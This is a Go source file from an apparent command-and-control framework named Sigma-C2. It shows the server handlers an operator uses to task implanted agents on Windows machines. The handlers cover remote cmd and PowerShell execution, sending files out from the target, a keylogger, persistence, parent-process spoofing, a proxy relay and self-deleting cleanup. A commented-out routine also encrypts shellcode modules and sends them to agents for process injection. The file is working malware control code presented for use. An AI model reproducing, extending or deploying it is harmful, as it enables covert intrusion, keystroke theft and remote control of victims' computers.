Files
Sigma-C2/server/agent_commands.go
Pavlo Khazov 0df36d871e Read changelog
2025-08-18 16:03:04 +02:00

417 lines
12 KiB
Go

package main
import (
"fmt"
"log"
"os"
)
// Examples of messages from agents:
// KindBear~HEARTBEAT
// KindBear~SYSINFO~Windows 10 Enterprise LTSC 2021 Evaluation (Version 21H2) Build 19044|x64|DESKTOP-5ITPNQS|Tester|0.0.0.0|C:\Users\Tester\Downloads\agent.exe|10136
// KindBear~KEYLOGGER~[Select C:\Users\BvSsh_VirtualUsers\Sigma\agent_3014679776.exe]
// KindBear~FILE
// KindBear~TASKRESULT~438818~406
// Example task messages from server:
// TASK~555953~inject~nx8Fk8krVYflY7sR~276
// TASK~555953~inject-remote~nx8Fk8krVYflY7sR~276~8868
// TASK~438818~spawn~nx8Fk8krVYflY7sR~276~C:\Windows\System32\notepad.exe~4704
// TASK-123456~sleep-5
// TASK~928573~upload~/home/user/file.txt~C:\Users\User\Downloads\file.txt
// TASK~928573~download~C:\Users\User\Downloads\file.txt
// Retrieve system information from a target
func SendSysInfo(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := "90" // getinfo
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
SendMessageToOperator(operatorID, "Tasked agent to get system info")
}
// Change agent's sleep time
func SleepAgent(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskArgs := cmdParts[2] // time in seconds
taskType := "10" // "sleep"
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested %s %s for agent: %s", operatorID, taskType, taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to change sleep time to %s seconds", taskArgs)
SendMessageToOperator(operatorID, response)
}
// Run a CMD or PS command on agent
func RunShell(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := cmdParts[1] // cmd or powershell
if taskType == "cmd" {
taskType = "20"
} else if taskType == "powershell" {
taskType = "30"
}
taskArgs := cmdParts[2] // command and args
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
SendMessageToOperator(operatorID, "Tasked agent to run shell command")
}
func HandleNavigation(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := cmdParts[1] // cd
taskArgs := cmdParts[2] // path
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
SendMessageToOperator(operatorID, "Tasked agent to change directory")
}
func ShowDirectory(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := cmdParts[1] //ls pwd
logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
SendMessageToOperator(operatorID, "Tasked agent to list directories")
}
// Download file or folder from agent
func DownloadFile(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskArgs := cmdParts[2] // file path
taskType := "170" // download
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
SendMessageToOperator(operatorID, "Tasked agent to send file or folder")
}
// Upload file to agent
func UploadFile(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
localFilePath := cmdParts[2]
remoteFilePath := cmdParts[3]
taskType := "180" // upload
// Check if the local file exists before proceeding
if _, err := os.Stat(localFilePath); os.IsNotExist(err) {
logMessage := fmt.Sprintf("Local file not found: %s", localFilePath)
log.Print(logMessage)
SendMessageToOperator(operatorID, logMessage)
return
}
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested to upload %s to %s on agent: %s", operatorID, localFilePath, remoteFilePath, agentID)
log.Print(logMessage)
token := CreateDownloadToken(agentID, localFilePath, remoteFilePath)
taskArgs := fmt.Sprintf("%s~%s", token, remoteFilePath)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
log.Printf("TaskArgs: %q", taskArgs)
SendMessageToOperator(operatorID, "Tasked agent to receive file from server")
}
func GetProcesses(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := "140" // "ps"
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested process list from agent: %s", operatorID, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
SendMessageToOperator(operatorID, "Tasked agent to send process list")
}
// Find a module and send to task handler
// func Inject(operatorID string, cmdParts []string) {
// agentID := cmdParts[0] // agent id
// taskType := cmdParts[1] // inject-self, inject-remote, spawn
// if taskType == "inject-self" {
// taskType = "40"
// } else if taskType == "inject-remote" {
// taskType = "50"
// } else if taskType == "spawn" {
// taskType = "60"
// }
// moduleName := cmdParts[2] // popcalc.bin
// var taskArg1 string
// if len(cmdParts) > 3 {
// taskArg1 = cmdParts[3] // exe path for spawn, pid for inject-remote
// }
// log.Printf("Agent ID: %s", agentID)
// log.Printf("Task type: %s", taskType)
// log.Printf("Module name: %s", moduleName)
// log.Printf("Task arg1: %s", taskArg1)
// operatorConn, _ := GetOperatorConn(operatorID)
// if _, agentExists := agents.Load(agentID); !agentExists {
// msg := fmt.Sprintf("Agent %s not found", agentID)
// log.Print(msg)
// operatorConn.Write([]byte(msg))
// return
// }
// // // Initial response
// response := "Preparing shellcode"
// // operatorConn.Write([]byte(response))
// // Check if module is on the list
// module, exists := modules[moduleName]
// if !exists {
// response := fmt.Sprintf("Module %s is not on the list", moduleName)
// operatorConn.Write([]byte(response))
// return
// }
// // Find module on disk
// if _, err := os.Stat(module.Path); errors.Is(err, os.ErrNotExist) {
// logMessage := fmt.Sprintf("Error: Module %s not found in %s", module.Name, module.Path)
// log.Print(logMessage)
// response = fmt.Sprintf("Module %s not found in %s", module.Name, module.Path)
// operatorConn.Write([]byte(response))
// return
// }
// // Read module data into memory
// payload, err := os.ReadFile(module.Path)
// if err != nil {
// logMessage := fmt.Sprintf("Error reading module %s: %v", module.Name, err)
// log.Print(logMessage)
// response = fmt.Sprintf("Error reading module %s: %v", module.Path, err)
// operatorConn.Write([]byte(response))
// return
// }
// log.Printf("Successfully loaded module data for %s", module.Name)
// // Print plaintext
// // fmt.Println("Plain text payload:")
// // fmt.Println(hex.Dump(payload))
// key, _, _ := GenerateKeyAndIV()
// // Encrypt before sending
// // var iv = []byte("sWDv47xwoMkg5gJY")
// var encPayload []byte
// if encPayload, err = encryptAES128CTR(payload, []byte(key), []byte(key)); err != nil {
// log.Printf("Error ecnrypting: %v", err)
// return
// }
// // Print ciphertest
// // fmt.Println("Encrypted payload:")
// // fmt.Println(hex.Dump(encPayload))
// // Get payload size and convert to int
// payloadSize := fmt.Sprintf("%d", len(encPayload))
// // Prepare arguments
// taskArgs := key + "~" + payloadSize + "~" + taskArg1
// // Add ppid arguments if provided with spawn command
// if len(cmdParts) > 4 {
// taskArg2 := cmdParts[4]
// taskArgs += "~" + taskArg2
// log.Printf("Task arg2: %s", taskArg2)
// }
// // Add task to queue
// taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, encPayload)
// response = fmt.Sprintf("Tasked agent to run '%s' module", module.Path)
// operatorConn.Write([]byte(response))
// }
func SetPPID(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskArgs := cmdParts[2] // ppid
taskType := "65" //set-ppid
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested to set PPID for agent: %s", operatorID, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
SendMessageToOperator(operatorID, "Tasked agent to update ppid")
}
// Start or stop keylogger on target
func Keylogger(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskArgs := cmdParts[2] // "start" or "stop"
taskType := "150" // "keylogger"
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested to %s keylogger on agent: %s", operatorID, taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to %s keylogger", taskArgs)
SendMessageToOperator(operatorID, response)
}
// Add or remove persistence via local appdata
func Persistence(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskArgs := cmdParts[2] // "add" or "remove"
taskType := "160" // "persistence"
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasking agent to %s persistence", taskArgs)
SendMessageToOperator(operatorID, response)
}
// Start or stop proxy server on agent
func Proxy(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskArgs := cmdParts[2] // "start | stop"
taskType := "200" // "proxy"
if !ValidateAgent(agentID, operatorID) {
return
}
if taskArgs == "start" {
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType+" "+taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to %s", taskArgs+" "+taskType)
SendMessageToOperator(operatorID, response)
logMessage = "Starting local bridge server"
SendMessageToOperator(operatorID, logMessage)
go StartRelayServer()
} else if taskArgs == "stop" {
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType+" "+taskArgs, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)
response := fmt.Sprintf("Tasked agent to %s", taskArgs+" "+taskType)
SendMessageToOperator(operatorID, response)
logMessage = "Stopping local bridge server"
SendMessageToOperator(operatorID, logMessage)
StopRelayServer()
}
}
// Task agent to exit
func Kill(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := "210" // kill
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
SendMessageToOperator(operatorID, "Tasked agent to exit")
}
// Clean up and self delete
func Cleanup(operatorID string, cmdParts []string) {
agentID := cmdParts[0]
taskType := "220" // "cleanup"
if !ValidateAgent(agentID, operatorID) {
return
}
logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
log.Print(logMessage)
taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)
SendMessageToOperator(operatorID, "Tasking agent to clean up and self delete")
}